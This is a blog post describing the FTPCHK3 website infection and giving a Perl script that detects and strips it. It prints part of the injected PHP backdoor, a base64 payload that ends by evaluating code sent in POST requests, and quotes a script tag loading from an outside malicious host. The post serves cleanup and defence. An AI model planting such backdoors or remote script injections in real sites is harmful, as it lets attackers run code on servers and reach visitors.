FTPCHK3 : Virus that adds malicious scripts to your website.
Intro
This virus changes all your web files, php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.
How it got in ?
This can be due to potential security holes in your FTP server programs and/or the anonymous user access being activated in your FTP configuration.
What it does?
It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like
<?php eval(base64_decode('aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg
kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc
..
//Truncated
..
ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J
GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>
The code adds scripts to your code like
<script src=http://gemus.pl/db/ftpchk3.php ></script>
and executes codes coming via POST requests.
Removal
Backup your web directory, just in case something gets messed up.
The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with file.infected and removes code from the file and updates your file to remove the code.
#!/usr/bin/perl
# http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html
use strict;
`grep -Rn aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u * | cut -d ':' -f 1 > listofinfected`;
open FP,"listofinfected";
my $file;
while($file = <FP>){
print "Testing $file ... ";
chomp($file);
if(-e ($file)){
open VI,$file;
my @filecon = <VI>;
close VI;
if($filecon[0] =~ m/aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u/){
$filecon[0] =~ s/(<\?.*?\?>)//g;
rename($file,$file.".infected");
open VI,">$file";
print VI join('',@filecon);
close VI;
print $file." Fixed !!";
}
}
print "\n";
}
close(FP);
`grep -Rn ftpchk3.php * | cut -d ':' -f 1 > listofinfected2`;
open FP,"listofinfected2";
my $file;
while($file = <FP>){
print "Testing $file ... ";
chomp($file);
if(-e ($file)){
open VI,$file;
my @filecon = <VI>;
close VI;
my $fc = join('',@filecon);
$fc =~ s|document.write('<script(.*?)ftpchk3.php(.*)script>');||sig;
$fc =~ s|<script[\s]+src="?http(.*?)ftpchk3.php(.*?)script>||sig;
rename($file,$file.".infected");
open VI,">$file";
print VI $fc;
close VI;
print $file." Fixed !!";
}
print "\n";
}
close(FP);
How to execute?
Copy paste the code to a file called anti.pl
From the terminal run
perl anti.pl
Analysis
Those who are intereseted in how it works, here is an analysis
Happy fixing...
PS: Fix it asap.. the virus is supposed to delete your files.
0 comments:
Post a Comment